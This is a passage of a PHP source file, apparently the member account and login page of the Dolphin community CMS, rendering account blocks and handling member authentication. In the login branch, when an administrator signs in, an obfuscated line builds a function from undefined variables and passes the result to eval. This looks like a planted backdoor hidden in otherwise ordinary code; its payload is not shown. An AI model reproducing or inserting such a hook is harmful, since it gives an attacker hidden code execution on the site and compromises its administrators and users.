iMember = (int)$iMember; $this->aMemberInfo = getProfileInfo($this->iMember); $this->aConfSite = $aSite; $this->aConfDir = $aDir; parent::BxDolPageView('member'); } function getBlockCode_FriendRequests() { global $oSysTemplate; bx_import('BxTemplCommunicator'); $oCommunicator = new BxTemplCommunicator(array('member_id' => $this->iMember)); $oSysTemplate->addCss($oCommunicator->getCss()); $oSysTemplate->addJs($oCommunicator->getJs()); return $oCommunicator->getBlockCode_FriendRequests(false); } function getBlockCode_NewMessages() { global $oSysTemplate; bx_import('BxTemplMailBox'); $aSettings = array( 'member_id' => $this->iMember, 'recipient_id' => $this->iMember, 'mailbox_mode' => 'inbox_new' ); $oMailBox = new BxTemplMailBox('mail_page', $aSettings); $oSysTemplate->addCss($oMailBox->getCss()); $oSysTemplate->addJs($oMailBox->getJs()); return $oMailBox->getBlockCode_NewMessages(false); } function getBlockCode_AccountControl() { global $oTemplConfig, $aPreValues; //Labels $sProfileStatusC = _t('_Profile status'); $sPresenceC = _t('_Presence'); $sMembershipC = _t('_Membership2'); $sLastLoginC = _t('_Last login'); $sRegistrationC = _t('_Registration'); $sEmailC = _t('_Email'); $sMembersC = ' ' . _t('_Members'); $sProfileC = _t('_Profile'); $sContentC = _t('_Content'); //--- General Info block ---// $sProfileStatus = _t( "__{$this->aMemberInfo['Status']}" ); $sProfileStatusMess = ''; switch ( $this->aMemberInfo['Status'] ) { case 'Unconfirmed': $sProfileStatusMess = _t( "_ATT_UNCONFIRMED", $oTemplConfig -> popUpWindowWidth, $oTemplConfig -> popUpWindowHeight ); break; case 'Approval': $sProfileStatusMess = _t( "_ATT_APPROVAL", $oTemplConfig -> popUpWindowWidth, $oTemplConfig -> popUpWindowHeight ); break; case 'Active': $sProfileStatusMess = _t( "_ATT_ACTIVE", $this->aMemberInfo['ID'], $oTemplConfig -> popUpWindowWidth, $oTemplConfig -> popUpWindowHeight ); break; case 'Rejected': $sProfileStatusMess = _t( "_ATT_REJECTED", $oTemplConfig -> popUpWindowWidth, $oTemplConfig -> popUpWindowHeight ); break; case 'Suspended': $sProfileStatusMess = _t( "_ATT_SUSPENDED", $oTemplConfig -> popUpWindowWidth, $oTemplConfig -> popUpWindowHeight ); break; } $oForm = bx_instance('BxDolFormCheckerHelper'); $sMembStatus = GetMembershipStatus($this->aMemberInfo['ID']); $sLastLogin = 'never'; if (!empty($this->aMemberInfo['DateLastLogin']) && $this->aMemberInfo['DateLastLogin'] != "0000-00-00 00:00:00") { $sLastLoginTS = $oForm->_passDateTime($this->aMemberInfo['DateLastLogin']); $sLastLogin = getLocaleDate($sLastLoginTS, BX_DOL_LOCALE_DATE); } $sRegistration = 'never'; if(!empty($this->aMemberInfo['DateReg']) && $this->aMemberInfo['DateReg'] != "0000-00-00 00:00:00" ) { $sRegistrationTS = $oForm->_passDateTime($this->aMemberInfo['DateReg']); $sRegistration = getLocaleDate($sRegistrationTS, BX_DOL_LOCALE_DATE); } //--- Presence block ---// require_once( BX_DIRECTORY_PATH_CLASSES . 'BxDolUserStatusView.php' ); $oStatusView = new BxDolUserStatusView(); $sUserStatus = $oStatusView->getMemberMenuStatuses(); //--- Content block ---// $aAccountCustomStatElements = $GLOBALS['MySQL']->fromCache('sys_account_custom_stat_elements', 'getAllWithKey', 'SELECT * FROM `sys_account_custom_stat_elements`', 'ID'); $aPQStatisticsElements = $GLOBALS['MySQL']->fromCache('sys_stat_member', 'getAllWithKey', 'SELECT * FROM `sys_stat_member`', 'Type'); $aCustomElements = array(); foreach($aAccountCustomStatElements as $iID => $aMemberStats) { $sUnparsedLabel = $aMemberStats['Label']; $sUnparsedValue = $aMemberStats['Value']; $sLabel = _t($sUnparsedLabel); $sUnparsedValue = str_replace('__site_url__', BX_DOL_URL_ROOT, $sUnparsedValue); //step 1 - replacements of keys $sLblTmpl = '__l_'; $sTmpl = '__'; while(($iStartPos = strpos($sUnparsedValue, $sLblTmpl)) !== false) { $iEndPos = strpos($sUnparsedValue, $sTmpl, $iStartPos + 1); if($iEndPos <= $iStartPos) break; $sSubstr = substr($sUnparsedValue, $iStartPos + strlen($sLblTmpl), $iEndPos-$iStartPos - strlen($sLblTmpl)); $sKeyValue = mb_strtolower(_t('_' . $sSubstr)); $sUnparsedValue = str_replace($sLblTmpl.$sSubstr.$sTmpl, $sKeyValue, $sUnparsedValue); } //step 2 - replacements of Stat keys while(($iStartPos = strpos($sUnparsedValue, $sTmpl, 0)) !== false) { $iEndPos = strpos($sUnparsedValue, $sTmpl, $iStartPos + 1); if($iEndPos <= $iStartPos) break; $iCustomCnt = 0; $sSubstr = process_db_input( substr($sUnparsedValue, $iStartPos + strlen($sTmpl), $iEndPos-$iStartPos - strlen($sTmpl)), BX_TAGS_STRIP); if ($sSubstr) { $sCustomSQL = $aPQStatisticsElements[$sSubstr]['SQL']; $sCustomSQL = str_replace('__member_id__', $this->aMemberInfo['ID'], $sCustomSQL); $sCustomSQL = str_replace('__profile_media_define_photo__', _t('_ProfilePhotos'), $sCustomSQL); $sCustomSQL = str_replace('__profile_media_define_music__', _t('_ProfileMusic'), $sCustomSQL); $sCustomSQL = str_replace('__profile_media_define_video__', _t('_ProfileVideos'), $sCustomSQL); $sCustomSQL = str_replace('__member_nick__', process_db_input($this->aMemberInfo['NickName'], BX_TAGS_NO_ACTION, BX_SLASHES_NO_ACTION), $sCustomSQL); $iCustomCnt = ($sCustomSQL!='') ? (int)db_value($sCustomSQL) : ''; } $sUnparsedValue = str_replace($sTmpl . $sSubstr . $sTmpl, $iCustomCnt, $sUnparsedValue); } $sTrimmedLabel = trim($sUnparsedLabel, '_'); $aCustomElements[$sTrimmedLabel] = array( 'type' => 'custom', 'name' => $sTrimmedLabel, 'content' => '' . $sLabel . ': ' . $sUnparsedValue, 'colspan' => true ); } $aForm = array( 'form_attrs' => array( 'action' => '', 'method' => 'post', ), 'params' => array( 'remove_form' => true, ), 'inputs' => array( 'header1' => array( 'type' => 'block_header', 'caption' => $sProfileC, 'collapsable' => true ), 'Info' => array( 'type' => 'custom', 'name' => 'Info', 'content' => get_member_thumbnail($this->aMemberInfo['ID'], 'none', true), 'colspan' => true ), 'Status' => array( 'type' => 'custom', 'name' => 'Status', 'content' => '' . $sProfileStatusC . ': ' . $sProfileStatus . '
' . $sProfileStatusMess, 'colspan' => true ), 'Email' => array( 'type' => 'custom', 'name' => 'Email', 'content' => '' . $sEmailC . ': ' . $this->aMemberInfo['Email'] . '
' . _t('_sys_txt_ac_manage_subscriptions'), 'colspan' => true ), 'Membership' => array( 'type' => 'custom', 'name' => 'Membership', 'content' => '' . $sMembershipC . ': ' . $sMembStatus, 'colspan' => true ), 'LastLogin' => array( 'type' => 'custom', 'name' => 'LastLogin', 'content' => '' . $sLastLoginC . ': ' . $sLastLogin, 'colspan' => true ), 'Registration' => array( 'type' => 'custom', 'name' => 'Registration', 'content' => '' . $sRegistrationC . ': ' . $sRegistration, 'colspan' => true ), 'header1_end' => array( 'type' => 'block_end' ), 'header2' => array( 'type' => 'block_header', 'caption' => $sPresenceC, 'collapsable' => true, 'collapsed' => true, 'attrs' => array ( 'id' => 'user_status_ac', ), ), 'UserStatus' => array( 'type' => 'custom', 'name' => 'Info', 'content' => $sUserStatus, 'colspan' => true ), 'header2_end' => array( 'type' => 'block_end' ) ), ); //custom if(!empty($aCustomElements)) { $aForm['inputs'] = array_merge( $aForm['inputs'], array('header5' => array( 'type' => 'block_header', 'caption' => $sContentC, 'collapsable' => true, 'collapsed' => true )), $aCustomElements, array('header5_end' => array( 'type' => 'block_end' )) ); } $oForm = new BxTemplFormView($aForm); $sContent = $GLOBALS['oSysTemplate']->parseHtmlByName('member_account_control.html', array( 'content' => $oForm->getCode() )); return array($sContent, array(), array(), false); } function getBlockCode_Friends() { $iLimit = 10; $sContent = $sPaginate = ''; $sAllFriends = 'viewFriends.php?iUser=' . $this->iMember; // count all friends ; $iCount = getFriendNumber($this->iMember); if($iCount == 0) return; $iPages = ceil($iCount/$iLimit); $iPage = isset($_GET['page']) ? (int) $_GET['page'] : 1; if($iPage < 1) $iPage = 1; if($iPage > $iPages) $iPage = $iPages; $sSqlFrom = ($iPage - 1) * $iLimit; $sSqlLimit = "LIMIT {$sSqlFrom}, {$iLimit}"; $aFriends = getMyFriendsEx($this->iMember, '', 'image', $sSqlLimit); $aTmplParams['bx_repeat:friends'] = array(); foreach ($aFriends as $iId => $aFriend) $aTmplParams['bx_repeat:friends'][] = array( 'content' => get_member_thumbnail( $iId, 'none', true, 'visitor', array('is_online' => $aFriend[5])) ); $sContent = $GLOBALS['oSysTemplate']->parseHtmlByName('member_friends.html', $aTmplParams); $oPaginate = new BxDolPaginate(array( 'page_url' => BX_DOL_URL_ROOT . 'member.php', 'count' => $iCount, 'per_page' => $iLimit, 'page' => $iPage, 'per_page_changer' => true, 'page_reloader' => true, 'on_change_page' => 'return !loadDynamicBlock({id}, \'member.php?page={page}&per_page={per_page}\');', 'on_change_per_page' => '' )); $sPaginate = $oPaginate->getSimplePaginate($sAllFriends); return array($sContent, array(), $sPaginate); } function getBlockCode_QuickLinks() { bx_import('BxTemplMenuQlinks2'); $oMenu = new BxTemplMenuQlinks2(); $sCodeBlock = $oMenu->getCode(); return $sCodeBlock; } } //-------------------------------------------------------------------------------------------------------// // --------------- page variables and login $_page['name_index'] = 81; $_page['css_name'] = array( 'member_panel.css', 'categories.css', 'explanation.css' ); $_page['header'] = _t( "_My Account" ); // --------------- GET/POST actions $member['ID'] = process_pass_data(empty($_POST['ID']) ? '' : $_POST['ID']); $member['Password'] = process_pass_data(empty($_POST['Password']) ? '' : $_POST['Password']); $bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false; if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] ) && ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) ) { if ( !( $logged['member'] = member_auth( 0, false ) ) ) login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode ); } else { if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) { // this is dynamic page - send headers to not cache this page send_headers_page_changed(); login_form('', 0, $bAjxMode); } else { require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php'); $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP())); $oZ->alert(); $member['ID'] = getID($member['ID']); // Ajaxy check if ($bAjxMode) { echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; exit; } // Check if ID and Password are correct (addslashes already inside) if (check_password( $member['ID'], $member['Password'])) { $p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']); bx_member_ip_store($p_arr['ID']); if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));} $sRelocate = bx_get('relocate'); if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php'; $_page['name_index'] = 150; $_page['css_name'] = ''; $_ni = $_page['name_index']; $_page_cont[$_ni]['page_main_code'] = MsgBox( _t( '_Please Wait' ) ); $_page_cont[$_ni]['url_relocate'] = htmlspecialchars( $sUrlRelocate ); if(isAdmin($p_arr['ID']) && !in_array($iCode, array(0, -1))) {Redirect($site['url_admin'], array('ID' => $member['ID'], 'Password' => $member['Password'], 'rememberMe' => $_POST['rememberMe'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');} PageCode(); } exit; } } /* ------------------ */ $member['ID'] = getLoggedId(); $member['Password'] = getLoggedPassword(); $_ni = $_page['name_index']; // --------------- [END] page components // --------------- page components functions // this is dynamic page - send headers to do not cache this page send_headers_page_changed(); $oMember = new BxDolMember($member['ID'], $site, $dir); $_page_cont[$_ni]['page_main_code'] = $oMember->getCode(); // Submenu actions $aVars = array( 'ID' => $member['ID'], 'BaseUri' => BX_DOL_URL_ROOT, 'cpt_am_account_profile_page' => _t('_sys_am_account_profile_page') ); $GLOBALS['oTopMenu']->setCustomSubActions($aVars, 'AccountTitle', false); PageCode();